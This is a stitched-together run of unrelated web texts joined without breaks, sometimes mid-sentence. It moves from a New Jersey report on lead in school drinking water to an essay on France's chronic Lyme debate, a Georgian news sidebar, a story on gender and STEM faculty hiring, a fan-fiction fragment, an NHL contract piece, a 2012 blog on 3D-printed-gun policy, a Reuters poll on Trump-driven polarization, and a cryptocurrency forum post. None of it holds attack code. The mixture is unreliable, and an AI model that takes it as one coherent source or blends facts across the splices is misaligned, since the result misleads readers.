The report comes as the state's deadline to test water in schools ended last week. The Trenton-based group contacted 70 school districts in Bergen County for the information, but was provided complete testing results from only 47 districts.
"It shows that the problem is pervasive, that it hits all different kinds of districts," said Doug O'Malley, executive director of Environment New Jersey. "Bergen is the most populous county in the state, and it's a microcosm of New Jersey, because you have wealthy areas, middle-class suburbs and urban areas."
In most cases, lead contamination does not come from water suppliers, but rather from old pipes and plumbing fixtures.
Water samples for lead testing being taken from drinking fountains at Franklin Lakes Middle School in 2016. (Photo: Chris Pedota/NorthJersey.com)
But experts say there should be no lead at all in drinking water because it is harmful to human health even at low exposure levels and accumulates in the body over time.
The American Academy of Pediatrics advocates for immediately addressing the problem if readings in schools go above 1 part per billion — the equivalent of a drop of water in an Olympic-size swimming pool.
Schools are taking action. In a June letter to parents, Cliffside Park Superintendent Michael Romagnino said filters were being placed on some water lines and sinks that had high readings were removed.
Wallington remediated two water sources that exceeded the state standard at its high school. Subsequent tests show they are below the standard, according to a letter sent to parents in June.
About 10 percent of the fountains and sinks in the report's 47 districts had lead levels above 15 parts per billion. Overall, the lead levels averaged about 5 to 6 parts per billion per district, O'Malley said.
Of the 47 districts, 35 had at least one reading above 15 parts per billion.
Eight of the 10 schools in Ridgewood had at least one lead reading above the federal standard.
"This is not the first time we've tested, but each time something comes up in one of our 100-year-old buildings," said Dr. Wayne Yankus, the school doctor for Ridgewood. "The district acts quickly, because this is one exposure we can control."
The testing was done under an order signed last year by Gov. Chris Christie amid public alarm over lead findings in Flint, Mich., and at 30 schools in Newark. The results are to be sent to the state Department of Education.
A warning was posted on a fountain at School 9 in Clifton after lead testing in 2016. (Photo: Maggie Katz/NorthJersey.com)
State Sen. Bob Gordon, D-Fair Lawn, said the state needs to give districts more money to replace their lead pipes, although he is unsure where the anticipated tens of millions of dollars needed for Bergen County alone would come from.
"These initial results show that we need a more robust response and we need a state and federal action that focuses on both testing and remediation," Gordon said of the Environment New Jersey report.
The state requires all districts to conduct follow-up water testing at least every six years. They must make results publicly available and send written notices to parents if elevated lead levels are found.
"No lead is good lead," said Yankus, a pediatrician. "We want to reduce the exposure to a toxic substance that will have an impact for a lifetime.”
The districts that exceeded the federal standard are:
NEWSLETTERS Get the Breaking News newsletter delivered to your inbox We're sorry, but something went wrong Get breaking news from all around North Jersey delivered to your inbox as soon as it happens. Please try again soon, or contact Customer Service at 1-888-282-3422. Delivery: Varies Invalid email address Thank you! You're almost signed up for Breaking News Keep an eye out for an email to confirm your newsletter registration. More newsletters
Special School District/Technical Schools
Bergenfield
Bogota
Carlstadt
Closter
Cresskill
Demarest
Dumont
East Rutherford
Elmwood Park
Emerson
Englewood Cliffs
Fair Lawn
Fairview
Franklin Lakes
Glen Rock
Hackensack
Hasbrouck Heights
Haworth
Lodi
Lyndhurst Township
Mahwah
Montvale
Northern Valley
Northvale
Oakland
Oradell
Paramus
Ramapo Indian Hills
Ramsey
Ridgefield Park
Ridgewood
Saddlebrook Township
Saddle River
Woodcliff Lake
The districts that did not exceed the federal standard but still have lead are:
Allendale
Garfield
Little Ferry
North Arlington
Northern Highlands
Norwood
Old Tappan
River Edge
Rutherford
Tenafly
Upper Saddle River
Wyckoff
To check out how your school district did, visit this link.
If your district is not listed, it's because Environment New Jersey did not receive completed test results from that district.
Read or Share this story: https://njersy.co/2vavdWc“What’s your position on Tic-Tox?” Bruno Titotto asked while seeing Dr. François Goehringer, an infectious disease specialist, for the first time. We are in a new specialized Lyme disease clinic in Nancy, in northeast France. Tic-Tox is an alternative treatment of “essential oils,” marketed to those who believe they have a chronic form of Lyme disease. It was pulled from the French market in 2012 by a regulator for safety concerns, and Titotto’s question was not an innocent one. He was essentially asking Goehringer which side of the chronic Lyme debate he was on.
Rather than quieting the concerns of Lyme advocates, France’s national plan is further entrenching two extremes.
Titotto, a 30-something native of Lorraine, which has one of the highest rates of Lyme disease in France, has had odd symptoms for years: joint pains, intense fatigue, and difficulty with balance and memory. After searching on the internet, he thought something called chronic Lyme disease — a nebulous condition not recognized by most physicians — might explain his current symptoms. But his blood tests don’t offer a clear diagnosis.
“I’m not sure if what you have is really Lyme,” Goehringer told him.
That answer is unsatisfying for the legion of French citizens who have become convinced that chronic Lyme disease is real, and that doctors and scientists are flat out wrong. To fight this, the French government released a national plan to combat Lyme last year that included a fact-based public service campaign aimed at raising awareness about the disease’s real prevalence, and, it was hoped, dispelling misconceptions about chronic Lyme.
Love Undark? Sign up for our newsletter! Email *
It didn’t work. Rather than quelling the swirling controversy, the strategy, which included radio spots and other media messages, has only served to further entrench the suspicions of the patient community.
The ongoing information struggle in France provides important lessons that reach well beyond Lyme disease. From climate change to the anti-vaccine movement, motivated reasoning, confirmation bias, and “fake news” are challenging scientific consensus, with increasingly concerning results.
A fact-based approach is often standard procedure in public health awareness campaigns, but on contentious or political topics — and with Lyme in particular — France’s experience demonstrates that strictly fact-based messaging can backfire. And that’s because beliefs about Lyme are not just tied to knowledge or misinformation, but to far more rooted things like culture, values, and identity.
France has fewer estimated yearly cases than the state of Massachusetts, despite a population 10 times the size.
Spread by ticks, Lyme is easy to treat in its early stages. “Chronic Lyme” emerged when patients complained of persistent symptoms despite appropriate treatment. Unable to convince doctors of their continued suffering, many patients were essentially dismissed, or, worse, told that their “medically unexplained symptoms” were psychological in origin.
Let down by mainstream medicine, patients sought care elsewhere, particularly with Lyme-literate physicians, sometimes called LLMDs — a shibboleth indicating a willingness to test and treat outside of the guidelines from the Infectious Disease Society of America (IDSA).
The IDSA’s 2006 guidelines still set the standard for testing and treatment of Lyme (they’re currently in revisions,) and are very similar to French testing and treatment guidelines from the same year. IDSA’s guidelines have been reviewed by the CDC, and by equivalent boards in France, Switzerland, Canada and the U.K. as recently as 2016, all of which agree with the main recommendations. To doctors, this signals consensus; to Lyme advocates, conspiracy.
That’s because a number of mysteries and uncertainties still surround Lyme and are under active research — though Lyme advocates consider these hotly debated questions to be settled and regard the IDSA guidelines as cruel. They advocate for the use of private tests not approved by government regulators and tout alternative guidelines that allow for antibiotic treatment well beyond the standard maximum of four weeks despite high-quality scientific evidence showing no benefit.
During the summer of 2016, the Lyme debate reached a fever pitch in France as the press exploited the controversy. As just one example, L’Obs, a popular weekly magazine, dedicated its July issue to the disease with the cover story titled “The Epidemic That’s Hidden From You.” Articles featured the unchallenged opinions of Dr. Christian Perronne, a French physician whose recent book “The Truth About Lyme Disease” presents many interesting but highly uncertain hypotheses about the causes and cures of chronic Lyme. Perronne was one of 100 physicians sounding the alarm that the health ministry must act fast.
In fact, France has fewer estimated yearly cases than the state of Massachusetts, despite a population 10 times the size, and that number has been stable at around 29,000 cases annually since 2009. (Massachusetts sees an estimated 40,000 to 50,000 cases each year.) But France released its national plan, in part, to assuage the concerns of a highly active advocacy community of people convinced they are affected by chronic Lyme disease. While the plan itself is well designed, Lyme advocates have not been placated — and a poor communication strategy is partly to blame.
In July, the health ministry released a set of 10 radio spots featuring prominent French scientists answering questions on ticks or Lyme based on current scientific consensus. Le Droit de Guérir (“The Right to Heal”), a patient advocacy group, demanded the radio spots be pulled, arguing that broadcasting them was “dangerous” because the experts featured “are detractors of the chronic form of this illness.”
The spots ran anyway, but rather than quieting the concerns of Lyme advocates or finding common ground, the national plan seems to be further entrenching the two extremes. The backlash is not limited to disputed facts, and some activists dismiss even the most innovative parts of the Lyme plan, like Goehringer’s Nancy clinic, a multidisciplinary one-stop shop for diagnostic testing and treatment for Lyme.
“The multidisciplinary centers are the powder in the eyes to calm public opinion,” one commenter on a Lyme advocacy website wrote. “One day the truth will burst out.”
In their book “The Enigma of Reason,” cognitive scientists Hugo Mercier and Dan Sperber describe what they call the “my-side bias” — the tendency of individuals to unconsciously select for information that confirms their existing opinions. In theory, such individual biases can be counteracted through training people to be aware of how they process information.
Changing minds requires providing information in ways that do not threaten cherished identities.
But there’s also a social aspect that reinforces individual biases. Daniel Kahan, a law professor who runs the Cultural Cognition Project at Yale Law School argues that resistance to certain truths is common in part because new ideas force people to re-evaluate their identity, and that in turn, could possibly alienate them from valued social groups — something he calls “identity-protective cognition.” Training individuals about bias can help, Kahan argues, but changing minds requires providing information in ways that do not threaten cherished identities.
Kahan’s work on climate change has shown that while people agree to defer to experts in theory, in practice they only do so if the expert shares their group’s position. So it may not be surprising that Lyme advocates rejected the experts picked for the radio spots. They might be experts, but they are not their experts.
Moreover, blindness to the values and motivations that drive these beliefs helps explain how fact-based teaching on contentious political issues can actually backfire. In the case of vaccine refusal, parents that are most resistant to vaccines become even more resistant after having their beliefs debunked, despite the use of varied communication strategies. Facts only matter if you trust their source. The physicians and public health professionals who have already lost the trust of Lyme patients are unlikely to be convincing just by citing more facts.
And yet so far, that seems to be the main response of the French scientific community. The editor in chief of Science & Pseudo-sciences, a popular science magazine published by the French Association for Scientific Information wrote a scathing criticism called “Lyme Disease: Between Psychosis and False Information,” followed by an article in a French medical journal exposing “The Hidden Face of Lyme Doctors.” Another popular science magazine, Sciences et Avenir, also recently highlighted some expensive but unproven treatments marketed to those with medically unexplained symptoms who believe they’ve been affected by chronic Lyme disease. A documentary film ran on French television in May with the foreboding title “Lyme Disease: Epidemic or Psychosis?”
Framed as “belief in science” versus “psychological illness,” the tenor of these inquiries, while factually accurate, doesn’t help. With such inflammatory language, it is no surprise that the two sides are entrenched in an irreconcilable debate. This poses a particular problem for the part of the French national plan that requires physician experts and patient advocates to work together to develop new clinical guidelines to treat Lyme. Despite monthly meetings, the original release date of June 2017 has come and gone without consensus.
Both sides are up in arms about the process. Patient advocacy groups have complained about the lack of transparency and the slow speed. Lymaction, an advocacy group, denounced the process as a “communication exercise.” After word that a consensus could not be reached by the original deadline, the French Association for Scientific Information expressed concern that civil society groups were hijacking the process, saying, “medicine should be based on rigorously validated scientific facts, not on the pressure of opinion or power relations.”
Consensus will likely remain elusive as the group meets through the fall. Like Tic-Tox, treatment guidelines are the fault line that divides chronic Lyme advocates from the mainstream medical community. Dr. Yves Hansmann, an infectious disease physician at the University of Strasbourg and participant in the process, says “what’s left to discuss is mostly chronic forms [of Lyme], where we have the risk of having difficulty to reach an agreement because we have very different opinions.”
Kahan’s solution is finding compromises that do not threaten the identity of various stakeholders. One approach for vaccine skeptics, suggested by Mark Navin, a philosopher at Oakland University in Michigan, is to seek the first-hand experience of patients and parents to help prioritize the research agenda. A similar approach might work for Lyme advocates.
An even better approach would address the underlying problem. Most people who come to specialized clinics concerned they have chronic Lyme do not meet criteria for the disease. But many are still suffering. A patient-focused research agenda might finally address the true epidemic of “medically unexplained symptoms” — the patients with “none of the above” syndromes that are too frequently dismissed by mainstream physicians for their medically unexplored stories.
There is no shortcut to the hard work of correcting misinformation.
Shawn Otto, in his book “The War on Science,” suggests that there is no shortcut to the hard work of correcting misinformation. It takes time to gain an individual’s trust and respect and walk them through the scientific process so they see why, despite the complexity, there is consensus rather than conspiracy.
After Titotto asked Dr. Goehringer about Tic-Tox, there is no avoiding a discussion about alternative therapy. Titotto is searching for solutions and he is more concerned with feeling better than acquiring a precise diagnosis: “I couldn’t care less if it’s Lyme,” he told the doctor.
The discussion turns to Dr. Christian Perronne, the author of “The Truth About Lyme Disease,” and the long-term antibiotics he advocates as treatment for chronic Lyme. “The studies Dr. Perronne cites are often lower quality,” Goehringer says. High quality studies are randomized with control groups, to be sure the intervention is really working, he explains, but Perronne often puts heavy emphasis on non-randomized, retrospective studies without controls.
After more discussion, Titotto says he understands not all published science is of equal quality. But he is quickly overwhelmed: “You cite scientific articles, he cites scientific articles,” Titotto says. “How do I balance between the two?”
Reporting for this project was supported by the Pulitzer Center for Crisis Reporting. David Scales is an internal medicine physician at Cambridge Health Alliance and an instructor at Harvard Medical School. He can be found on Twitter @davidascales.Other Stories
British singer Jessie J wearing Anouki Areshidze’s total look (Video) World famous British singer Jessie J has decided to wear clothes made by Anouki Areshidze, Georgian designer and wife of the mayor of Tbilisi. Read more
Georgia’s techno club Bassiani opens after being locked by police for 11 days (Video) Bassiani, one of the most popular underground clubs not only in Georgia but throughout Europe as well, has opened today Read more
Tourists from Philippines perform joyful dance at Georgia's popular sites (Video) An amazing video made in Georgia by tourists from the Philippines have gone viral on the internet. Read more
The first protest expressed through massive rave to electronic music in Tbilisi (Video) Over the recent two days May 12-13 Tbilisi city saw a peaceful protest rally in the center of the city. Read more
Citizens protest special operations conducted in Bassiani and Café Gallery clubs (Video) Hundreds of people took to the main street Rustaveli Avenue in Tbilisi to protest the raid in Tbilisi’s popular night clubs. Read more
Endangered bear cubs found in Tsageri handed over to Tbilisi Zoo (Video) Two bear cubs listed as endangered on the red list were handed over to Tbilisi Zoo, Read more
Pamela Anderson rolling around in chair in Georgian designer’s cat sunglasses (Video) Pamela Anderson, famous Canadian American actress and model has appeared in the chic sunglasses by internationally acclaimed Georgian designer George Keburia. Read more
Shocking footage from accident site in Gudauri - Ropeway breakdown (Video) A ski lift accident in Georgia’s eastern Gudauri resort,in particular at Sadzele 5 lift, has left 8 people with injuries. Read more
Ski lift in Gudauri goes out of control (Video) The ski lift in Gudauri winter resort in Georgia has broke down in the aftermath of which several people have been injured. Read more
British singer Tony O'Malley performs Georgian song (Video) Popular British singer Tony O'Malley performance in Georgian language has recently gone viral on social media. Read more
How to attract young people to choose agriculture over university (Video) Young people are needed in Georgia’s agriculture but are leaving the rural areas for the city. By modernizing the Vocational Education system, an internationally funded programme makes efforts to attract Georgia’s youth to stay and work in the villages. Read more
Georgian photographer depicts the creeping borders in her country (Video) Photographer Daro Sulakauri has recently published a photo project on the villages bordering the breakaway regions of South Ossetia (Tskhinvali Region) and Abkhazia. Read more
Orthodox Christmas celebrations in Georgia (Video) Like many Eastern European countries, Georgia started the celebrations for Christmas Eve during the night of the 6th of January. Read more
Famous Georgian pianist and Orlando Bloom playing piano goes viral World-renowned Georgian pianist Khatia Buniatishvili has again been spotlighted together with popular actor Orlando Bloom. Read moreA woman applying for a tenure-track faculty position in STEM (science, technology, engineering, and mathematics) at a U.S. university is twice as likely to be hired as an equally qualified man, if both candidates are highly qualified, according to a new study.
The results run counter to widely held perceptions and suggest that this is a good time for women to be pursuing academic careers. Some observers, however, say that the study—which involved actual faculty members rating hypothetical candidates—may not be relevant to real-world hiring. And they worry the results may leave the incorrect impression that universities have achieved gender parity in STEM fields.
Still, the “important” results will spark “a lot of discussion,” predicts psychologist Virginia Valian of Hunter College in New York City. “It will definitely make people think more thoroughly and more subtly” about the issue.
In previous research, the authors, psychologists Wendy Williams and Stephen Ceci of Cornell University, found that men and women generally fare equally well once they are hired into tenure-track positions (although some critics have challenged those findings). For this study, the researchers focused on the hiring phase. It “is a key juncture in understanding the problem of women’s underrepresentation” on STEM faculties, they wrote in an e-mail.
To better understand hiring dynamics, the researchers invented three hypothetical candidates for an assistant professorship: an extremely well-qualified woman, an extremely well-qualified man, and a slightly less qualified man. Then, they wrote a job application summary for each candidate. It included a description of a search committee’s impression of the candidate, quotes from letters of recommendation, and an overall score for the candidate’s job talk and interview. In the last step, they asked 873 tenure-track faculty members from four fields, randomly selected from institutions across the United States, to rank the candidates. The group included an approximately equal number of men and women.
Overall, raters in most fields were twice as likely to tag the woman as the best candidate, the researchers report online today in the Proceedings of the National Academy of Sciences. The one exception was economics, where male raters showed a slight preference for the well-qualified male candidate.
Williams and Ceci say they were shocked when they saw how much better the woman fared. And although they did not investigate the potential causes of the outcome, they suspect it may be due to some combination of successful training programs about gender and hiring, a growing belief that gender balance among STEM faculty is important, and the retirement of older faculty.
The authors also investigated how a candidate’s marital and family status influenced ratings. They varied the description of the candidates, making them single or married, childless or parents. Some had working spouses, others did not. In general, these factors did not change the outcome.
Again, however, there was one exception. Rating differences did arise when they described the female candidate as having had a child during graduate school. Male raters preferred a candidate who took a 1-year parental leave, whereas female raters preferred the one who did not take a leave.
University of Mississippi, Oxford, business school management professor H. Kristl Davison found this result particularly intriguing. “I almost wonder if there’s a bit of paternalism going on” from the male raters, she says. “It also made me wonder if there’s a female bias present in terms of, ‘I struggled through grad school without taking leave; I think others should do so as well.’ ”
Some worry that the study does not sufficiently take into account the many factors at play in hiring decisions. “My major concern is really the generalizability of this, whether what they found … would translate to the real world,” Davison says. “That’s the ultimate question.”
Potential bias may arise even earlier in the hiring process, she and others note, before candidates even make it to the final selection round. Men and women can be perceived differently during preliminary interviews, for instance, based on personality traits that have nothing to do with their qualifications or potential for success. The new study, however, focuses only on “a very specific and late point in the game,” Valian says. “We need to understand the subtleties of evaluation at each stage in the process. Right now we have fragments of data that tell us about different parts of the process, but we don’t have a good picture of how it all fits together.”
Others object to the authors’ assertion that men and women fare the same after hiring. “I think it’s fair to say that the women who have run the gauntlet and gotten advanced STEM degrees will find the labor market quite welcoming if they choose to seek employment in academic STEM jobs,” writes Jennifer Glass, a sociologist at the University of Texas, Austin, in an e-mail. “What happens once they are there is another matter entirely.” She says studies suggest that women still have higher attrition rates in some STEM careers.
Despite apparent good news in the findings, “I think it’s too soon to say, ‘OK, problem solved,’ ” Valian says. “We haven’t solved the problem of underrepresentation of women in the sciences,” she says, “and I wouldn’t want people to think that this paper demonstrates that we have solved it.”The three US |
. There were a few works she was proud of, along with a new series of pieces she felt there was potential in, but if Anna were to categorize her portfolio according to the works she would want Elsa to see…
… long story short, there was a lot of work to do.
Oh, and she had the second drafts of her client's book covers to finish as well. At least they had liked her first drafts.
Anna scowled. The sketch she was working on acquired rather harsh shadows.
"Time!" called Jane. Anna squinted, eyeing her work critically, and sighed. The model stretched and yawned.
"Replace your canvases, and we'll begin again in five."
Rapunzel leaned over to look at Anna's work. "I like the way you draw shadows," offered the brunette.
"That's just your way of finding something nice to say about a crappy piece," said Anna gloomily.
"Oh, come on. It's not that bad."
Anna glanced over at Rapunzel's work; the model was replicated in intricate hyper-realistic graphite lines, fine cross-hatching giving the impression of volume. "Says you, Michelangelo."
Rapunzel shrugged. "This is just a rough sketch."
Anna snorted.
"If you're stressing out about the Showcase," said Rapunzel as she replaced Anna's and her canvases, "you shouldn't be. I've seen your portfolio and the stuff you did last semester. You've got plenty of stuff to choose from."
"It's not really the Showcase." Anna's attention was divided between the conversation and her work. Instead of continuing with her pencil, she was using softer charcoal instead. Briefly, she wondered whether she should confide her thoughts in her friend. "It's just…"
"Less talk, more sketching," said Jane, leaning in to check on her students' progress. "Good choice of medium, Anna; I like how you're suggesting the pose rather than reproducing it."
"Just?" asked Rapunzel after the professor was gone, pulling a face.
"Just – I'll tell you later."
"Ugh. Fine."At the draft, Montreal GM Marc Bergevin said his club had many roster holes.
Now he knows the cost of filling one.
Per TVA, veteran blueliner Andrei Markov is seeking a two-year, $12 million extension to stick with the club — one that would carry a $6M cap hit, up slightly from the $5.75M he was making on his previous deal.
Markov, an unrestricted free agent, is 38 but coming off a pretty productive year — he scored 36 points in just 62 games played, and averaged 21:50 TOI per night.
His ice time significantly jumped in the playoffs, up to 26:09 in Montreal’s opening-round playoff loss to the Rangers.
Bergevin has said he’d like to have Markov back, but noted the club has limits. The term of Markov’s reported ask isn’t too unwieldy — it’s a two-year commitment — but the cap hit could be an issue. Remember, Bergevin is also trying to re-sign last year’s second-leading scorer, Alex Radulov. Alex Galchenyuk needs a new deal as well.
(Unless he’s traded.)
On top of all this — oh yes, there’s more — is the looming contract extension for Carey Price. The star goalie is heading into the last year of his deal and eligible to sign an extension on July 1, which promises to be a monster contract. Price is currently the NHL’s fifth highest-paid netminder at $7 million per, but could join Sergei Bobrovsky and Henrik Lundqvist as the only goalies to earn more than $8M annually.
Which brings us back to Markov who, according to TSN’s Pierre LeBrun, is representing himself in negotiations. One has to think that dollar figure will come down, especially if Montreal starts entertaining other options — like Karl Alzner, the former Caps d-man who says he’s interested in playing in Montreal.
Whatever the case, Bergevin is going to have to address this situation soon. There are plenty of moving parts, but rounding out the defense has to be near the top of his priority list. Right now Montreal has just five blueliners under contract: Shea Weber, Jeff Petry, Brandon Davidson, Jordie Benn and David Schlemko.Blogs 3D Printing, Guns, and Dealing with New Uses October 11, 2012
Having made it into the New York Times, it looks like it is time to talk about 3D printing and firearms. The tl;dr version of this post is: this is an interesting development that is not really new but does provide a useful framework to start thinking about the larger policy issues around 3D printers.
Some Background
Over a year ago...
3D printers are machines that can turn digital objects into physical things. They are general purpose manufacturing machines and, as such, the scope of “things” that they can produce is broad. Like all general-purpose machines, they can be used to create things that one might consider beneficial to society as well as things that one might consider detrimental to society. Without taking a position on which category firearms fit into, it probably should not have come as a surprise when, last year, parts for firearms started showing up on Thingiverse, a website devoted to sharing 3D printing files.
The initial reaction to this within the 3D printing community was decidedly mixed. There were discussions about free speech, the responsibility of sharing files like this, and even if it was possible to make a firearm with existing consumer grade 3D printers. Ultimately the thingiverse team decided not to take down firearms.
During the initial controversy, the source of the 3D printing designs went largely unnoticed. This is unfortunate, because the origins of the designs will be very helpful in thinking through the policy implications of 3D printed weapons. It turns out that HaveBlue, the thingiverse user who originally posted the part, obtained his original file from a website called CNCGuns.com. CNCGuns is a site that is designed “to show gun enthusiasts the different types of firearms that can be manufactured using CNC (Computer Numerical Control) equipment.” CNC equipment is the type of equipment that you might find in a standard machine shop.
This indicates that there is a community of people who are already trading files and manufacturing firearms at home that predate consumer access to 3D printing. In fact, they are using technology that is (currently) far more widespread and better at making firearms than 3D printers. On its face this is neither a good nor bad thing. However, it does suggest that we already have a way to think about what it means when people can create firearms at home. After all, they have been doing so for some time.
This July
The conversation evolved a bit this summer when HaveBlue announced that he had successfully fired the 3D printed gun. While only part of the gun was actually 3D printed (the “lower”) this was still big news. As far as anyone can tell, this was the first example of someone 3D printing and firing a firearm. Although HaveBlue was not using a consumer-grade 3D printer, because of the age of the machine that he did use and the pace of innovation in the consumer area it largely put to rest questions about whether or not it would be possible to use consumer-grade 3D printers to build working firearms.
This August
Hot on the heels of HaveBlue’s successful firing, a group called the Defense Distributed launched the Wiki Weapon Project. In a video on the crowdfunding site Indiegogo, the group’s members requested $20,000 to develop and freely release files that would allow someone to print a firearm on a consumer-grade 3D printer.
This September
Although Indiegogo pulled the project from its site, the Wiki Weapon Project announced that it has succeeded in meeting its $20,000 fundraising goal. The bulk of this money was earmarked to lease a commercial-grade 3D printer from the company Stratasys.
This October
Upon learning about the Wiki Weapon Project, Stratasys cancelled the Wiki Weapon Project’s lease and reclaimed the printer. At this point, the Wiki Weapon Project is presumed to be looking for a new printer.
What does this mean?
While this is undoubtedly a high profile incident, it is not likely to be the last story where people raise concerns about something being produced by 3D printers. In light of that, it is probably useful to have a general framework to use to analyze these controversies.
The first question that we should ask is “is this actually new?” In other words, is 3D printing allowing people to do something that they were unable to do before, or is this simply getting attention because someone got around to doing it with a 3D printer?
In this case, the answer appears to be “no.” Remember, the source of these files is an existing community of people who use machining tools to create firearms. These machines are computer operated and can make objects out of metal. While attaching “3D printing” to the activity might raise its profile, presumably our national firearms policy already recognizes that people can make weapons at home and has structured rules accordingly.
The second question is “even if it is not new, does it fundamentally change the existing activity?” Again, in this case the answer seems to be “no.” People were downloading files used to make firearms on automated (or semi-automated) machines before they had access to 3D printers and, at this stage, it is hard to see how this changes that activity. I suspect that there are still many more CNC milling machines in this country than 3D printers.
The third question is “is it possible to fundamentally change the existing activity in the future?” The answer to this question, as it will often be, is “maybe.” Today more people have access to CNC milling machines and machining shops than 3D printers, but you could certainly imagine a future where that was not the case. A world where it is easy to download firearms files and most people have access to 3D printers (still an if) might change the existing dynamic enough to justify developing new policies.
But that is the real challenge with all policy connected to 3D printing (and to emerging technologies more generally): being able to imagine a way where a technology could be misused in the future is not a sound basis for policy, and certainly not a sound basis to limit its growth.
Imagining a futuristic 3D printing dystopia and then trying to create policies to stop it will inevitably be a counterproductive exercise for at least two reasons. First, the imagined dystopic future will never actually happen. If we were good at predicting how new technologies would impact society we would all be rich. That makes new legislation designed to prevent the bad future a waste of time at best.
Second, and more problematic, is that any legislation aimed at preventing an imagined future is much more likely to block unexpected positive developments. We do not know how 3D printing will actually impact society, but we can be fairly sure that today’s projections will seem laughable 10 or 20 years from now. Laws enacted during a time of 3D printing anxiety are much more likely to prevent good things than block bad things.
Looking forward
This does not mean that we need to wait until people are doing troubling things with 3D printers before doing anything about it. However, we should at least understand how those troubling things will actually play out before we take steps to limit what people can do with the technology.
It is tempting to assume that every question raised in the context of 3D printing is somehow a question of first impression that has not been considered before. However, in reality that will rarely be the case. Most of the questions that are raised in the context of 3D printing have been raised before and they have reasonable solutions. One of the greatest challenges presented by the growth of 3D printing will be to recognize when a question is truly new, and when it is just a complicated problem that has been around for years.
image: Thingiverse user HaveBlue.NEW YORK/WASHINGTON (Reuters) - Republicans generally agree that politicians should not enrich themselves while running the country. Yet most think it is okay for President Donald Trump to do so.
Democrats largely support the idea of government-run healthcare. But their support plummets when they learn that Trump once backed the idea.
At a time of already deep fissures among American voters on political, cultural and economic issues, Trump further polarizes the public as soon as he wades into the debate, according to the results of a Reuters/Ipsos poll. The poll suggests any effort to reach a consensus on key policy issues could be complicated simply by Trump’s involvement.
The survey from Feb. 1 to March 15 of nearly 14,000 people asked respondents to consider a series of statements Trump has made on taxes, crime and the news media, among other issues. In many cases, the data showed that people will orient their opinions according to what they think of Trump.
Republicans, for example, were more likely to criticize American exceptionalism – the notion that the United States holds a unique place in history - when told that Trump once said it was insulting to other countries. They were more likely to agree that the country should install more nuclear weapons, and they were more supportive of government spending for infrastructure, when they knew that Trump felt the same way.
Democrats moved in the opposite direction. They were less supportive of infrastructure spending, less critical of the judiciary and less likely to agree that urban crime was on the rise when they knew that those concerns were shared by Trump.
“I’m basically in disagreement with everything he says,” said Howard House, 58, a Democrat from Jacksonville, Florida, who took the poll. “I’ve almost closed my mind to the guy.”
Trump is not the first president to polarize the public. A 1995 poll by the Washington Post found that Democrats appeared to favor legislative action when they thought it was then-President Bill Clinton’s idea, and a 2013 survey by Hart Research Associates showed that both positive and negative attitudes about the 2010 Affordable Care Act intensified when called by its other name, Obamacare.
But previous presidents were more popular than Trump at this point, according to the Gallup polling service, and they may have been better positioned to address the public divide because of it. Gallup had Trump at a 42 percent approval rating on Tuesday. He was as low as 35 percent last week.
That leaves Trump facing a largely disapproving electorate, even as the White House signals that in the coming months it wants to pass a sweeping tax-reform package, a large infrastructure plan, and perhaps try again to supplant the Affordable Care Act.
The White House said that Trump has tried to reach out to those who did not support him during the campaign in an attempt to build political consensus.
“The door to the White House has been open to a variety of people who are willing to come to the table and have honest discussions with the President about the ways we can make our country better,” a White House spokeswoman wrote in an email.
THE HYPER-PARTISAN ERA OF TRUMP
Infographic ID: '2p4Ma04'
Poll respondents were split into two groups. Each received nearly identical questions about statements Trump has made in recent years. One group, however, was not told the statements came from Trump.
The poll then asked if people agreed or disagreed with those statements. In a few cases, Trump made little to no impact on the answers. But most of the time the inclusion of his name changed the results.
A series of questions about conflicts of interest produced the biggest swings.
Some 33 percent of Republicans said it was okay if “an official” financially benefits from a government position. However, when a separate group was asked the same question with Trump’s name added in, more than twice as many Republicans – 70 percent – said it was okay.
When interviewed afterward, some respondents said they knew they were making special exceptions for Trump.
Susie Stewart, a 73-year-old healthcare worker from Fort Worth, Texas, said it came down to trust. While most politicians should be forbidden from mixing their personal fortunes with government business, Stewart, who voted for Trump, said the president had earned the right to do so.
“He is a very intelligent man,” Stewart said. “He’s proved himself to be one hell of a manager. A builder. I think he has the business sense to do what’s best for the country.”
On the other side of the political spectrum, House, the Democrat from Florida and a Hillary Clinton supporter, said he also made an exception for Trump. But in this instance it meant that House disagreed with everything Trump supported.
If Trump said the sky was blue, “I’m going to go outside and check,” he said.
Infographic ID: '2ngbTqa'
It is impossible to say exactly what motivates people to answer a certain way in a political poll, said John Bullock, an expert in partisanship at the University of Texas at Austin.
Supporters of President Trump gather for a rally in Bensalem, Pennsylvania. REUTERS/Mark Makela
Some respondents may have looked past the question and answered in a way that they thought would support or oppose Trump, Bullock said. But he said it was also likely that others simply have not thought deeply about the issue and are looking to Trump as a guide for how to answer.
“They think of him either as a man who shares their values or someone who manifestly does not,” Bullock said.
Infographic ID: '2ndfIMC'MessyCoin
Offline
Activity: 458
Merit: 250
Sr. MemberActivity: 458Merit: 250
Re: [EMC] EmerCoin - PoW&PoS - SHA-256 August 08, 2015, 12:20:46 AM #488 Quote from: Valermos on August 07, 2015, 10:29:22 AM
just want to announce my new online wallet feature. With this change I've also changed the URL (and the server):
emercoin.mintr.org
(previosly: emercoin-blockchain.info or emer.conchains.info. To save costs I won't renew them in the future. At the moment they point to the wrong server.)
If you are using an
mintr.emc
blockchain.emc
The online wallet comes with a proof-of-stake pool. Additionally, you will earn a part of the service fees too.
It also supports EMCSSL after registration. EMCSSL registration is not possible and also not really necesary, since all you need is a username and a password.
The stake will be calculated daily. Payouts are bi-montly (01 and 15).
Please use with caution. It's not tested on the long run (early beta). Some planned features are still missing. I'll add them in the future.
Hi,just want to announce my new online wallet feature. With this change I've also changed the URL (and the server):(previosly: emercoin-blockchain.info or emer.conchains.info. To save costs I won't renew them in the future. At the moment they point to the wrong server.)If you are using an opennicproject.org DNS:The online wallet comes with a proof-of-stake pool. Additionally, you will earn a part of the service fees too.It also supports EMCSSL after registration. EMCSSL registration is not possible and also not really necesary, since all you need is a username and a password.The stake will be calculated daily. Payouts are bi-montly (01 and 15).
I am excited by this. In addition to Proof-of-Stake wallet, you're also providing ability to register NVS entries! That's great!
Here's some thoughts for you:
1. It could be a good idea to provide a web form specifically for domain registration, with a similar feel to conventional domain registrars. e.g. a form with fields for "name servers" "mail exchange", etc (for editing the complete "zone file" like in this image:
I'm sure you've already thought about this
2. A small thing: Firefox didn't offer to save my login credentials for me, like it does almost all other sites. Some people do use that for convenience.
3. It's great that EMCSSL can be used after registration, although I couldn't see EMCSSL mentioned anywhere on the site (perhaps it could say something under the login form like "...or login to existing account with EMCSSL" with a link to
